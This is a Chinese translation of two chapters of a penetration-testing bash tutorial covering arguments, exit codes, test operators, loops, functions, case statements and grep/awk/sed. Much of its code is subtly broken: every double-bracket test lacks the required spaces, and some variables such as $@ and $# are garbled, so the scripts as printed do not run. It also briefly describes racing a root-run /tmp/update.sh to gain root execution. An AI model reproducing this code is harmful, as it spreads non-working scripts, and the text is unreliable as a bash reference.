Bash 脚本可以接收 位置参数(也称为 参数),这些参数由命令行传递给脚本。参数尤其有用,例如,当你希望开发一个程序,使其根据其他程序或用户传递的输入改变行为时。参数还可以改变脚本的特性,比如输出格式或运行时的详细程度。
例如,假设你开发了一个漏洞并将其发送给几个同事,他们每个人将针对不同的 IP 地址使用它。你可以编写一个脚本,接受 IP 地址参数,然后根据该输入执行操作,避免在每次情况下都需要修改源代码。
一个 bash 脚本可以使用变量$1、$2 等来访问传递给它的命令行参数。数字代表参数输入的顺序。为了说明这一点,列表 1-23 中的脚本接受一个参数(IP 地址或域名),并使用 ping 工具对其执行 ping 测试。将此文件保存为ping_with_arguments.sh。
ping_with_arguments.sh
#!/bin/bash
# This script will ping any address provided as an argument.
SCRIPT_NAME="${0}"
TARGET="${1}"
echo "Running the script ${SCRIPT_NAME}..."
echo "Pinging the target: ${TARGET}..."
ping "${TARGET}"
列表 1-23:一个接受命令行输入的脚本
这个脚本将第一个位置参数赋值给变量 TARGET。同时,还要注意,参数${0}被赋值给 SCRIPT_NAME 变量。这个参数包含脚本的名称(在本例中是ping_with_arguments.sh)。
要运行此脚本,请使用列表 1-24 中的命令。
$ **chmod u+x ping_with_arguments.sh**
$ **./ping_with_arguments.sh nostarch.com**
Running the script ping_with_arguments.sh...
Pinging the target nostarch.com...
PING nostarch.com (104.20.120.46) 56(84) bytes of data.
64 bytes from 104.20.120.46 (104.20.120.46): icmp_seq=1 ttl=57 time=6.89 ms
64 bytes from 104.20.120.46 (104.20.120.46): icmp_seq=2 ttl=57 time=4.16 ms
`--snip--`
列表 1-24:将参数传递给脚本
这个脚本将执行针对命令行传递的域名nostarch.com的 ping 命令。该值被赋值给$1 变量;如果传递了另一个参数,它将被赋值给第二个变量$2。使用 CTRL-C 退出此脚本,因为在某些操作系统上,ping 命令可能会无限运行。
如果你想访问所有参数怎么办?你可以使用变量\(@来实现。另外,使用\)#,你可以获取传递的参数总数。列表 1-25 展示了这一过程是如何工作的。
#!/bin/bash
echo "The arguments are: $@"
echo "The total number of arguments is: $#"
列表 1-25:检索所有参数及参数总数
将此脚本保存为名为show_args.sh的文件,并按如下方式运行:
$ **chmod u+x show_args.sh**
$ **./show_args.sh "hello" "world"**
The arguments are: hello world
The total number of arguments is: 2
表格 1-5 总结了与位置参数相关的变量。
表格 1-5:与位置参数相关的特殊变量
| 变量 | 描述 |
|---|---|
| $0 | 脚本文件的名称 |
| $1, $2, $3, ... | 位置参数 |
| $# | 传递的定位参数的数量 |
| $* | 所有位置参数 |
| $@ | 所有位置参数,每个参数单独引用 |
当脚本使用"$*"(包括引号)时,bash 会将所有参数展开成一个单一的词。例如,以下示例将参数组合成一个词:
$ **./script.sh "1" "2" "3"**
1 2 3
当脚本使用"$@"(包括引号)时,它会将参数展开成单独的词:
$ **./script.sh "1" "2" "3"**
1
2
3
在大多数情况下,你会想使用"$@",这样每个参数都会被当作一个独立的词来处理。
以下脚本演示了如何在 for 循环中使用这些特殊变量:
#!/bin/bash
# Change "$@" to "$*" to observe behavior.
for args in "$@"; do
echo "${args}"
done
输入提示
一些 bash 脚本在执行时不接受任何参数。然而,它们可能需要以交互方式向用户请求信息,并将响应输入到其运行时中。在这些情况下,我们可以使用 read 命令。在尝试安装软件时,经常会看到应用程序使用 输入提示 要求用户输入 yes 以继续或 no 以取消操作。
在 Listing 1-26 中的 bash 脚本中,我们要求用户输入他们的名和姓,然后将这些信息打印到标准输出流中。
input _prompting.sh
#!/bin/bash
# Takes input from the user and assigns it to variables
echo "What is your first name?"
read -r firstname
echo "What is your last name?"
read -r lastname
echo "Your first name is ${firstname} and your last name is ${lastname}"
Listing 1-26: 向用户询问输入
将此脚本保存并运行为 input_prompting.sh:
$ **chmod u+x input_prompting.sh**
$ **./input_prompting.sh**
What is your first name?
John
What is your last name?
Doe
Your first name is John and your last name is Doe
请注意,系统会提示您输入信息,然后将其打印出来。
退出码
Bash 命令返回 退出码,这些代码指示命令的执行是否成功。退出码范围在 0 到 255 之间,其中 0 表示成功,1 表示失败,126 表示找到命令但不可执行,127 表示未找到命令。任何其他数字的含义取决于使用的具体命令及其逻辑。
检查退出码
要查看退出码的实际效果,请将 Listing 1-27 中的脚本保存到名为 exit_codes.sh 的文件中并运行它。
#!/bin/bash
# Experimenting with exit codes
ls -l > /dev/null
echo "The exit code of the ls command was: $?"
lzl 2> /dev/null
echo "The exit code of the non-existing lzl command was: $?"
Listing 1-27: 使用退出码确定命令的成功
我们使用 echo 命令与特殊变量 $? 来返回执行命令 ls 和 lzl 的退出码。我们还将它们的标准输出和标准错误流重定向到文件 /dev/null,这是一个特殊设备文件,用于丢弃发送到它的任何数据。当您希望静音命令时,可以将其输出重定向到此处。
您应该会看到如下输出:
$ **./exit_codes.sh**
The exit code of the ls command was: 0
The exit code of the non-existing lzl command was: 127
我们收到两个不同的退出码,一个用于每个命令。第一个命令返回 0(成功),第二个返回 127(未找到命令)。
警告
谨慎使用 /dev/null 。如果选择将输出重定向到其中,您可能会错过重要的错误信息。如果有疑问,请将标准输出和标准错误流重定向到专用日志文件中。
要了解为什么要使用退出码,请想象一下,您正在尝试使用 bash 从互联网下载 1GB 文件。在尝试下载之前,先检查文件系统中是否已存在该文件可能是明智的选择。此外,您可能需要检查磁盘上是否有足够的空闲空间。通过运行命令并查看它们返回的退出码,您可以决定是否继续进行文件下载。
设置脚本的退出码
您可以通过使用 exit 命令后跟代码编号来设置脚本的退出码,如 Listing 1-28 所示。
#!/bin/bash
# Sets the exit code of the script to be 223
echo "Exiting with exit code: 223"
exit 223
Listing 1-28: 设置脚本的退出码
将此脚本保存为 set_exit_code.sh 并在命令行上运行它。然后使用特殊变量 $? 来查看它返回的退出码:
$ **chmod u+x set_exit_code.sh**
$ **./set_exit_code.sh**
Exiting with exit code: 223
**echo $?**
223
你可以使用 $? 变量检查不仅是脚本的返回退出码,还可以检查单个命令的退出码:
$ **ps -ef**
$ **echo $?**
0
退出码很重要;它们可以用于一系列相互调用的脚本或同一个脚本内,以控制代码执行的逻辑流程。
练习 1:记录你的姓名和日期
编写一个脚本,实现以下功能:
-
接受命令行上的两个参数,并将它们赋值给变量。第一个参数应为你的名字,第二个应为你的姓氏。
-
创建一个名为 output.txt 的新文件。
-
使用
date命令将当前日期写入 output.txt。(如果你能让date命令以 DD-MM-YYYY 格式输出日期,可以获得加分;使用 man date 了解如何实现。) -
将你的全名写入 output.txt。
-
使用
cp命令制作 output.txt 的备份副本,命名为 backup.txt。(如果你不确定命令的语法,可以使用 man cp 查阅帮助。) -
将 output.txt 文件的内容打印到标准输出流。
你可以在本书的 GitHub 仓库中找到一个示例解答,名为 exercise_solution.sh。
总结
在本章中,你在终端中运行了简单的 Linux 命令,并使用 man 学习了命令选项。你还学习了如何向脚本传递参数并从脚本中执行一系列命令。我们讲解了 bash 的基础知识,比如如何编写使用变量、数组、重定向、退出码和参数的基本程序。你还学会了如何提示用户输入任意信息,并将其作为脚本流程的一部分使用。
第二章:2 流程控制与文本处理

本章介绍了可以使脚本更智能的 Bash 概念。你将学习如何测试条件、使用循环、将代码整合为函数、将命令发送到后台等。你还将学习一些定制 Bash 环境的方法,适用于渗透测试。
测试操作符
Bash 让我们在满足某些特定条件时有选择地执行命令。我们可以使用 测试操作符 来构造各种条件,比如检查一个值是否等于另一个值,文件是否为某种类型,或者一个值是否大于另一个值。我们经常依赖这些测试来决定是否继续执行一段代码,因此构造这些测试是 Bash 编程的基础。
Bash 有多种类型的测试操作符。文件测试操作符 允许我们对文件系统中的文件进行测试,例如检查文件是否可执行或某个目录是否存在。表 2-1 显示了可用测试的简短列表。
表 2-1:文件测试操作符
| 操作符 | 描述 |
|---|---|
| -d | 检查文件是否为目录 |
| -r | 检查文件是否可读 |
| -x | 检查文件是否可执行 |
| -w | 检查文件是否可写 |
| -f | 检查文件是否为常规文件 |
| -s | 检查文件大小是否大于零 |
你可以在 ss64.com/bash/test.html 找到完整的文件测试操作符列表,或者通过运行 man test 命令来查看。
字符串比较操作符 允许我们进行与字符串相关的测试,例如检查一个字符串是否等于另一个字符串。表 2-2 显示了字符串比较操作符。
表 2-2:字符串比较操作符
| 操作符 | 描述 |
|---|---|
| = | 检查一个字符串是否等于另一个字符串 |
| == | 在 [[]] 构造中,= 的同义词 |
| != | 检查一个字符串是否不等于另一个字符串 |
| < | 检查一个字符串是否在另一个字符串之前(按字母顺序) |
| > | 检查一个字符串是否在另一个字符串之后(按字母顺序) |
| -z | 检查字符串是否为空 |
| -n | 检查字符串是否非空 |
整数比较操作符 允许我们对整数进行检查,例如检查一个整数是否小于或大于另一个整数。表 2-3 显示了可用的操作符。
表 2-3:整数比较操作符
| 操作符 | 描述 |
|---|---|
| -eq | 检查一个数字是否等于另一个数字 |
| -ne | 检查一个数字是否不等于另一个数字 |
| -ge | 检查一个数字是否大于或等于另一个数字 |
| -gt | 检查一个数字是否大于另一个数字 |
| -lt | 检查一个数字是否小于另一个数字 |
| -le | 检查一个数是否小于或等于另一个数 |
让我们在流控制机制中使用这些操作符,以决定接下来要运行哪些代码。
if 条件
在 bash 中,我们可以使用 if 条件来仅在满足特定条件时执行代码。清单 2-1 展示了它的语法。
if [[`condition`]]; then
# Do something if the condition is met.
else
# Do something if the condition is not met.
fi
清单 2-1:if 语句的结构
我们以 if 关键字开始,接着是在双方括号([[]])之间的测试条件。然后使用;字符将 if 关键字与 then 关键字分开,这允许我们引入一个仅在条件满足时运行的代码块。
接下来,我们使用 else 关键字引入一个回退代码块,当条件不满足时运行。请注意,else 是可选的,有时候你可能不需要它。最后,我们使用 fi 关键字(这是 if 的反义词)来关闭 if 条件。
注意
在某些操作系统中(如经常用于容器的操作系统),默认 shell 可能不一定是 bash。为了考虑这些情况,您可能希望使用单方括号( [...] )而不是双方括号来包含您的条件。单方括号的使用符合可移植操作系统接口标准,并且几乎可以在包括 Linux 在内的任何 Unix 衍生系统上运行。
让我们看看 if 条件在实践中的运用。清单 2-2 使用 if 条件来测试文件是否存在,如果不存在则创建它。
test_if_file _exists.sh
#!/bin/bash
FILENAME="flow_control_with_if.txt"
if [[-f "${FILENAME}"]]; then
echo "${FILENAME} already exists."
exit 1
else
touch "${FILENAME}"
fi
清单 2-2:用于检查文件是否存在的 if 条件
我们首先创建一个名为 FILENAME 的变量,其中包含我们需要的文件名。这样可以避免在代码中重复文件名。然后,我们引入 if 语句,其中包含使用-f 文件测试操作符来测试文件是否存在的条件。如果这个条件为真,则使用 echo 打印一条消息到屏幕上,解释文件已经存在,并使用状态码 1(失败)退出程序。在 else 块中,只有当文件不存在时才会执行,我们使用 touch 命令创建文件。
注意
你可以从 github.com/dolevf/Black-Hat-Bash/blob/master/ch02 下载本章的脚本。
保存文件并执行它。当您运行 ls 时,您应该在当前目录中看到flow_control_with_if.txt文件。
清单 2-3 展示了实现相同结果的另一种方法:它使用非运算符(!)来检查目录不存在,如果不存在则创建它。这个示例代码行数更少,并且完全消除了 else 块的需要。
#!/bin/bash
FILENAME="flow_control_with_if.txt"
if [[! -f "${FILENAME}"]]; then
touch "${FILENAME}"
fi
清单 2-3:使用否定检查来测试文件是否存在
让我们探讨使用我们已经涵盖的其他类型测试操作符的 if 条件。清单 2-4 展示了一个字符串比较测试。它使用等于运算符(==)进行字符串比较,测试两个变量是否相等。
string _comparison.sh
#!/bin/bash
VARIABLE_ONE="nostarch"
VARIABLE_TWO="nostarch"
if [["${VARIABLE_ONE}" == "${VARIABLE_TWO}"]]; then
echo "They are equal!"
else
echo "They are not equal!"
fi
图 2-4:比较两个字符串变量
此脚本将比较两个值都为 nostarch 的变量,并使用 echo 命令打印出 They are equal!。
接下来是一个整数比较测试,它接受两个整数并检查哪一个是较大的数(图 2-5)。
integer _comparison.sh
#!/bin/bash
VARIABLE_ONE="10"
VARIABLE_TWO="20"
if [["${VARIABLE_ONE}" -gt "${VARIABLE_TWO}"]]; then
echo "${VARIABLE_ONE} is greater than ${VARIABLE_TWO}."
else
echo "${VARIABLE_ONE} is less than ${VARIABLE_TWO}."
fi
图 2-5:比较整数
我们创建了两个变量,VARIABLE_ONE 和 VARIABLE_TWO,并分别赋值为 10 和 20。然后我们使用 -gt 运算符比较这两个值,并基于整数比较打印结果。
链接条件
到目前为止,我们使用 if 来检查单个条件是否满足。但与大多数编程语言一样,我们也可以使用 OR(||)和 AND(&&)运算符同时检查多个条件。
例如,如果我们想要检查文件是否存在并且其大小大于零,图 2-6 就是这样做的。
#!/bin/bash
echo "Hello World!" > file.txt
if [[-f "file.txt"]] && [[-s "file.txt"]]; then
echo "The file exists and its size is greater than zero."
fi
图 2-6:使用 AND 链接两个文件测试条件
此代码向文件写入内容,然后检查该文件是否存在以及其大小是否大于零。只有在这两个条件均满足时,echo 命令才会执行。如果任一条件返回 false,则什么也不会发生。
要演示 OR 条件,图 2-7 检查一个变量是文件还是目录。
#!/bin/bash
DIR_NAME="dir_test"
mkdir "${DIR_NAME}"
if [[-f "${DIR_NAME}"]] || [[-d "${DIR_NAME}"]]; then
echo "${DIR_NAME} is either a file or a directory."
fi
图 2-7:使用 OR 链接两个文件测试条件
此代码首先创建一个目录,然后使用 OR(||)运算符的 if 条件检查变量是文件(-f)还是目录(-d)。第二个条件应该评估为 true,并且 echo 命令应该执行。
测试命令成功
我们甚至可以测试命令的退出代码,以确定它们是否成功(图 2-8)。
if `command`; then
# `command` was successful.
fi
if ! `command`; then
# `command` was unsuccessful.
fi
图 2-8:基于退出代码值执行命令
在 bash 中,你经常会使用这种技术,因为命令并不保证成功。失败可能是以下原因之一:
-
创建资源时缺少必要的权限
-
尝试执行操作系统上不可用的命令
-
下载文件时磁盘空间已满
-
在执行网络工具时网络断开
要查看这种技术的工作原理,请在终端中执行以下操作:
$ **if touch test123; then**
**echo "OK: file created"**
**fi**
OK: file created
我们尝试创建一个文件。因为文件创建成功,我们打印一条消息以指示这一点。
检查后续条件
如果第一个 if 条件失败,你可以使用 elif 关键字(else if 的简写)检查其他条件。为了展示其工作原理,让我们编写一个程序来检查传递给它的命令行参数。 图 2-9 将输出一个消息,说明参数是文件还是目录。
if_elif.sh
#!/bin/bash
USER_INPUT="${1}"
❶ if [[-z "${USER_INPUT}"]]; then
echo "You must provide an argument!"
exit 1
fi
❷ if [[-f "${USER_INPUT}"]]; then
echo "${USER_INPUT} is a file."
❸ elif [[-d "${USER_INPUT}"]]; then
echo "${USER_INPUT} is a directory."
else
❹ echo "${USER_INPUT} is not a file or a directory."
fi
图 2-9:使用 if 和 elif 语句
我们从一个 if 语句开始,检查变量 USER_INPUT 是否为 null ❶。这允许我们在没有收到用户的命令行参数时,通过使用 exit 1 提前退出脚本。接着,我们开始第二个 if 条件,使用文件测试操作符检查输入是否为文件 ❷。在此条件下,我们使用 elif 来测试参数是否为目录 ❸。此条件只有在文件测试失败时才会被测试。如果这两个条件都不成立,脚本将回应说参数既不是文件也不是目录 ❹。
函数
函数 帮助我们重用代码块,以便避免重复编写。它们允许我们通过简单地输入函数名称来同时执行多个命令和其他 Bash 代码。要定义一个新函数,输入它的名称,后跟括号。然后将希望该函数运行的代码放在大括号中(列表 2-10)。
#!/bin/bash
say_name(){
echo "Black Hat Bash"
}
列表 2-10:定义一个函数
在这里,我们定义了一个名为 say_name() 的函数,它执行一个简单的 echo 命令。要调用函数,只需输入其名称:
say_name
如果函数没有被调用,它内部的命令不会执行。
返回值
像命令及其退出状态一样,函数也可以通过使用 return 关键字返回值。如果没有 return 语句,函数将返回其运行的最后一个命令的退出代码。例如,列表 2-11 中的函数会根据当前用户是否为 root 返回不同的值。
check_root _function.sh
#!/bin/bash
# This function checks if the current user ID equals zero.
❶ check_if_root(){
❷ if [["${EUID}" -eq "0"]]; then
return 0
else
return 1
fi
}
if check_if_root; then
echo "User is root!"
else
echo "User is not root!"
fi
列表 2-11:测试函数返回真或假的 if 条件
我们定义了 check_if_root() 函数 ❶。在此函数内,我们使用一个带有整数比较测试的 if 条件 ❷,通过访问环境变量 EUID 来获取当前有效用户的 ID,并检查其是否等于 0。如果是,那么用户是 root,函数返回 0;如果不是,则返回 1。接下来,我们调用 check_if_root 函数,并检查其是否返回 0,这意味着用户是 root。否则,我们打印出用户不是 root 的信息。
执行特权操作的 Bash 脚本通常会在尝试安装软件、创建用户、删除组等操作之前检查用户是否为 root。若在 Linux 上没有必要的特权执行特权操作,则会导致错误,因此此检查有助于处理这些情况。
接受参数
在 第一章中,我们介绍了如何将参数传递给命令行上的命令。函数也可以使用相同的语法来接受参数。例如,列表 2-12 中的函数会打印它接收到的前三个参数。
#!/bin/bash
print_args(){
echo "first: ${1}, second: ${2}, third: ${3}"
}
❶ print_args No Starch Press
列表 2-12:带有参数的函数
要调用带有参数的函数,输入其名称和由空格分隔的参数 ❶。将此脚本保存为 function_with_args.sh 并运行:
$ **chmod u+x function_with_args.sh**
$ **./function_with_args.sh**
first: No, second: Starch, third: Press
你应该看到类似于这里所展示的输出。
循环与循环控制
和许多编程语言一样,bash 通过使用 循环 让你重复执行代码块。循环在你的渗透测试冒险中尤其有用,因为它们可以帮助你完成如下任务:
-
在重启后持续检查某个 IP 地址是否在线,直到该 IP 地址响应
-
迭代主机名列表(例如,针对每个主机运行特定的漏洞攻击或判断是否有防火墙在保护它们)
-
测试某个条件并在满足时运行循环(例如,检查某个主机是否在线,如果在线,则对其进行暴力破解攻击)
以下部分将介绍 bash 中的三种循环(while、until 和 for),以及用于处理循环的 break 和 continue 语句。
while
在 bash 中,while 循环允许你运行一个代码块,直到测试返回成功的退出状态代码。例如,你可能会在渗透测试中使用它们,持续对网络进行端口扫描,并捕捉加入网络的任何新主机。
清单 2-13 显示了 while 循环的语法。
while `some_condition`; do
# Run commands while the condition is true.
done
清单 2-13:一个 while 循环
该循环以 while 关键字开始,后面跟着描述条件的表达式。然后,我们用 do 和 done 关键字将要执行的代码包围起来,这些关键字定义了代码块的开始和结束。
你可以使用 while 循环通过将 true 作为条件来无限次运行一段代码;因为 true 总是返回成功的退出代码,所以代码将一直运行。让我们使用 while 循环重复地将命令打印到屏幕上。将 清单 2-14 保存为名为 basic_while.sh 的文件并运行它。
#!/bin/bash
while true; do
echo "Looping..."
sleep 2
done
清单 2-14:以两秒间隔重复运行命令
你应该看到以下输出:
$ **chmod u+x basic_while.sh**
$ **./basic_while.sh**
Looping...
Looping...
`--snip--`
接下来,让我们编写一个更复杂的 while 循环,直到它在文件系统中找到特定文件为止(清单 2-15)。使用 CTRL-C 随时停止代码执行。
while_loop.sh
#!/bin/bash
❶ SIGNAL_TO_STOP_FILE="stoploop"
❷ while [[! -f "${SIGNAL_TO_STOP_FILE}"]]; do
echo "The file ${SIGNAL_TO_STOP_FILE} does not yet exist..."
echo "Checking again in 2 seconds..."
sleep 2
done
❸ echo "File was found! Exiting..."
清单 2-15:文件监控
在 ❶ 处,我们定义了一个变量,表示 while 循环 ❷ 检查的文件名,并使用文件测试操作符。直到条件满足,循环才会退出。一旦文件可用,循环将停止,脚本将继续执行 echo 命令 ❸。将此文件保存为 while_loop.sh 并运行:
$ **chmod u+x while_loop.sh**
$ **./while_loop.sh**
The file stoploop does not yet exist...
Checking again in 2 seconds...
`--snip--`
在脚本运行时,在与脚本相同的目录中打开第二个终端,并创建 stoploop 文件:
$ **touch stoploop**
完成后,你应该看到脚本跳出循环并打印以下内容:
File was found! Exiting...
我们可以使用 while 循环来监视文件系统事件,例如文件创建或删除,或者进程启动时。这在应用程序存在只能暂时利用的漏洞时非常有用。例如,考虑一个每天在特定时间运行的应用程序,它检查文件/tmp/update.sh是否存在;如果存在,应用程序将以root用户身份执行该文件。使用 while 循环,我们可以监视该应用程序的启动,然后及时创建该文件,以便我们的命令能被该应用程序执行。
until
而 while 在条件成功时持续运行,until 在条件失败时持续运行。清单 2-16 展示了 until 循环的语法。
until `some_condition`; do
# Run some commands until the condition is no longer false.
done
清单 2-16:一个 until 循环
清单 2-17 使用 until 来运行一些命令,直到文件大小大于零(意味着它不再为空)。
until_loop.sh
#!/bin/bash
FILE="output.txt"
touch "${FILE}"
until [[-s "${FILE}"]]; do
echo "${FILE} is empty..."
echo "Checking again in 2 seconds..."
sleep 2
done
echo "${FILE} appears to have some content in it!"
清单 2-17:检查文件的大小
我们首先创建一个空文件,然后开始一个循环,直到文件不再为空。在循环内部,我们将消息打印到终端。将此文件保存为until_loop.sh并运行:
$ **chmod u+x until_loop.sh**
$ **./until_loop.sh**
output.txt is empty...
Checking again in 2 seconds...
`--snip--`
此时,脚本已经创建了文件output.txt,但它是一个空文件。我们可以使用 du(磁盘使用情况)命令来检查这一点:
$ **du -sb output.txt**
0 output.txt
打开另一个终端并导航到脚本保存的位置,然后向文件追加一些内容,使其大小不再为零:
$ **echo "until_loop_will_now_stop!" > output.txt**
脚本应退出循环,您应该看到它打印以下内容:
output.txt appears to have some content in it!
for
for 循环会遍历一个序列,例如文件名或变量的列表,甚至是通过运行命令生成的一组值。在 for 循环内部,我们定义一组命令,这些命令会对列表中的每个值执行,每个值会被赋给我们定义的变量名。
清单 2-18 展示了 for 循环的语法。
for `variable_name` in `LIST`; do
# Run some commands for each item in the sequence.
done
清单 2-18:一个 for 循环
使用 for 循环的一种简单方法是多次执行相同的命令。例如,清单 2-19 打印从 1 到 10 的数字。
#!/bin/bash
for index in $(seq 1 10); do
echo "${index}"
done
清单 2-19:在 for 循环中计数到 10
保存并运行此脚本。您应该看到以下输出:
1
2
3
4
5
6
7
8
9
10
一个更实际的例子可能是使用 for 循环对传递到命令行的一组 IP 地址运行命令。清单 2-20 获取传递给脚本的所有参数,然后遍历它们并为每个参数打印一条消息。
#!/bin/bash
for ip_address in "$@"; do
echo "Taking some action on IP address ${ip_address}"
done
清单 2-20:遍历命令行参数
将此脚本保存为for_loop_arguments.sh并按以下方式运行:
$ **chmod u+x for_loop_arguments.sh**
$ **./for_loop_arguments.sh 10.0.0.1 10.0.0.2 192.168.1.1 192.168.1.2**
Taking some action on IP address 10.0.0.1
Taking some action on IP address 10.0.0.2
`--snip--`
我们甚至可以对命令的输出运行 for 循环,例如 ls。在清单 2-21 中,我们打印当前工作目录中所有文件的名称。
#!/bin/bash
for file in $(ls .); do
echo "File: ${file}"
done
清单 2-21:遍历当前目录中的文件
我们使用 for 循环迭代 ls . 命令的输出,后者列出当前目录中的文件。每个文件会作为 for 循环的一部分被赋值给 file 变量,因此我们可以使用 echo 来打印它的名称。例如,如果我们想对目录中的所有文件进行批量上传或重命名,这种技术将会很有用。
break 和 continue
循环可以无限运行,或者直到满足某个条件为止。但我们也可以通过使用 break 关键字在任何时刻退出循环。这个关键字提供了一种替代 exit 命令的方式,后者会导致整个脚本退出,而不仅仅是循环。使用 break,我们可以离开循环并进入下一个代码块(Listing 2-22)。
#!/bin/bash
while true; do
echo "in the loop"
break
done
echo "This code block will be reached."
Listing 2-22:从循环中跳出
在这种情况下,最后的 echo 命令将被执行。
continue 语句用于跳转到循环的下一次迭代。我们可以用它跳过序列中的某个值。为了说明这一点,下面我们创建三个空文件,以便我们能对它们进行迭代:
$ **touch example_file1 example_file2 example_file3**
接下来,我们的 for 循环将向每个文件写入内容,跳过第一个文件 example_file1,这个文件会被留空(Listing 2-23)。
#!/bin/bash
❶ for file in example_file*; do
if [["${file}" == "example_file1"]]; then
echo "Skipping the first file"
❷ continue
fi
echo "${RANDOM}" > "${file}"
done
Listing 2-23:在 for 循环中跳过元素
我们从 example_file* 通配符开始一个 for 循环,它将扩展为匹配脚本运行的目录中所有以 example_file 开头的文件 ❶。因此,循环应该会遍历我们之前创建的所有三个文件。在循环内,我们使用字符串比较来检查文件名是否等于 example_file1,因为我们想跳过这个文件,不对它进行任何修改。如果条件成立,我们使用 continue 语句 ❷ 继续到下一次迭代,保持该文件不变。然后,在循环的后续部分,我们使用 echo 命令和环境变量 ${RANDOM} 生成一个随机数并将其写入文件。
将这个脚本保存为 for_loop_continue.sh,并在与这三个文件相同的目录下执行:
$ **chmod u+x for_loop_continue.sh**
$ **./for_loop_continue.sh**
Skipping the first file
如果你检查这些文件,你应该看到第一个文件是空的,而其他两个文件包含一个随机数,这是因为脚本将 ${RANDOM} 环境变量的值回显到它们中。
case 语句
在 bash 中,case 语句允许你以更简洁的方式测试多个条件,通过使用更易读的语法。通常,它们帮助你避免使用许多 if 语句,这些语句随着代码量的增加,可能变得更难阅读。
Listing 2-24 展示了 case 语句的语法。
case `EXPRESSION` in
`PATTERN1`)
# Do something if the first condition is met.
;;
`PATTERN2`)
# Do something if the second condition is met.
;;
esac
Listing 2-24:一个 case 语句
case 语句以关键字 case 开头,后跟一个表达式,比如你希望匹配模式的变量。此示例中的 PATTERN1 和 PATTERN2 代表你希望与表达式进行比较的模式(例如正则表达式、字符串或整数)。要结束一个 case 语句,使用关键字 esac(case 的反转)。
让我们看一个示例 case 语句,该语句检查 IP 地址是否存在于特定的私有网络中(列表 2-25)。
case_ip_address_check.sh
#!/bin/bash
IP_ADDRESS="${1}"
case ${IP_ADDRESS} in
192.168.*)
echo "Network is 192.168.x.x"
;;
10.0.*)
echo "Network is 10.0.x.x"
;;
*)
echo "Could not identify the network"
;;
esac
列表 2-25:检查 IP 地址并确定其网络
我们定义一个变量,期望传入一个命令行参数(${1}),并将其保存到 IP_ADDRESS 变量中。然后使用一个模式检查 IP_ADDRESS 变量是否以 192.168. 开头,第二个模式检查它是否以 10.0. 开头。
我们还定义了一个默认的通配符模式 *,如果没有其他模式匹配,它会向用户返回默认信息。
将此文件保存为 case_ip_address_check.sh 并运行:
$ **chmod u+x case_ip_address_check.sh**
$ **./case_ip_address_check.sh 192.168.12.55**
Network is 192.168.x.x
$ **./case_ip_address_check.sh 212.199.2.2**
Could not identify the network
case 语句可用于各种应用场景。例如,它可以根据用户输入的内容运行不同的函数。使用 case 语句是一种很好的方法,可以在不牺牲代码可读性的情况下处理多个条件的评估。
文本处理与解析
在 bash 中,你最常做的事情之一就是处理文本。你可以通过运行一次性的命令来解析文本,或者使用脚本将解析后的数据存储在一个变量中,以便后续使用。这两种方法对于许多场景都很重要。
若要自行测试本节中的命令,请从 github.com/dolevf/Black-Hat-Bash/blob/master/ch02/log.txt 下载示例日志文件。此文件使用空格分隔,每个段落代表特定的数据类型,如客户端的源 IP 地址、时间戳、超文本传输协议(HTTP)方法、HTTP 路径、HTTP 用户代理字段、HTTP 状态码等。
使用 grep 过滤
grep 命令是当前最流行的 Linux 命令之一。我们使用 grep 从数据流中过滤出感兴趣的信息。在最基本的形式中,我们可以像列表 2-26 中展示的那样使用它。
$ **grep "35.237.4.214" log.txt**
列表 2-26:从文件中筛选特定字符串
此 grep 命令将读取文件并提取包含 IP 地址 35.237.4.214 的所有行。
我们甚至可以同时使用 grep 来匹配多个模式。以下的反斜杠管道符号(|)作为“或”条件:
$ **grep "35.237.4.214\|13.66.139.0" log.txt**
或者,我们可以使用多个 grep 模式与 -e 参数来完成相同的操作:
$ **grep -e "35.237.4.214" -e "13.66.139.0" log.txt**
如你在第一章中学到的,我们可以使用管道(|)命令将一个命令的输出作为另一个命令的输入。在以下示例中,我们运行 ps 命令并使用 grep 来筛选特定的行。ps 命令列出了系统中的进程:
$ **ps | grep TTY**
默认情况下,grep 是区分大小写的。我们可以通过使用 -i 标志使搜索不区分大小写:
$ **ps | grep -i tty**
我们还可以使用 grep 的 -v 参数来排除包含某个模式的行:
$ **grep -v "35.237.4.214" log.txt**
若只打印匹配的模式,而不打印整个包含该模式的行,请使用 -o:
$ **grep -o "35.237.4.214" log.txt**
该命令还支持正则表达式、锚定、分组等功能。使用 man grep 命令可以了解更多关于它的功能。
使用 awk 进行过滤
awk 命令是一个数据处理和提取的瑞士军刀。你可以用它从文件中识别并返回特定的字段。要看看 awk 是如何工作的,可以再次仔细查看我们的日志文件。如果我们需要从文件中打印出所有 IP 地址呢?这可以通过 awk 轻松完成:
$ **awk '{print $1}' log.txt**
$1 表示文件中每一行的第一个字段,其中包含 IP 地址。默认情况下,awk 将空格或制表符视为分隔符或定界符。
使用相同的语法,我们可以打印其他字段,比如时间戳。以下命令过滤文件中每一行的前三个字段:
$ **awk '{print $1,$2,$3}' log.txt**
使用类似的语法,我们可以同时打印第一个和最后一个字段。在这种情况下,NF 表示最后一个字段:
$ **awk '{print $1,$NF}' log.txt**
我们还可以更改默认的分隔符。例如,如果我们有一个由逗号分隔的文件(即 CSV 文件,逗号分隔值文件),而不是由空格或制表符分隔,我们可以通过传递-F 标志给 awk 来指定分隔符的类型:
$ **awk -F',' '{print $1}' example_csv.txt**
我们甚至可以使用 awk 打印文件的前 10 行。这模仿了 Linux 命令 head 的行为;NR 表示记录的总数,并且是 awk 内建的:
$ **awk 'NR < 10' log.txt**
你会发现将 grep 和 awk 结合使用非常有用。例如,你可能想先找到文件中包含 IP 地址 42.236.10.117 的行,然后打印该 IP 请求的 HTTP 路径:
$ **grep "42.236.10.117" log.txt | awk '{print $7}'**
awk 命令是一个功能强大的工具,我们鼓励你通过运行 man awk 进一步深入了解它的功能。
使用 sed 编辑流
sed(流编辑器)命令对文本执行操作。例如,它可以替换文件中的文本,修改命令输出中的文本,甚至删除文件中的特定行。
让我们使用 sed 将文件log.txt中任何提到Mozilla的地方替换为Godzilla。我们使用它的 s(替换)命令和 g(全局)命令,以便在整个文件中进行替换,而不仅仅是第一个出现的位置:
$ **sed 's/Mozilla/Godzilla/g' log.txt**
这将输出文件的修改版本,但不会改变原始版本。你可以将输出重定向到一个新文件来保存更改:
$ **sed 's/Mozilla/Godzilla/g' log.txt > newlog.txt**
我们还可以使用 sed 通过/ //语法删除文件中的任何空白字符,这将把空白字符替换为空值,完全从输出中去除它们:
$ **sed 's/ //g' log.txt**
如果你需要删除文件的行,可以使用 d 命令。在以下命令中,1d 删除(d)第 1 行(1):
$ **sed '1d' log.txt**
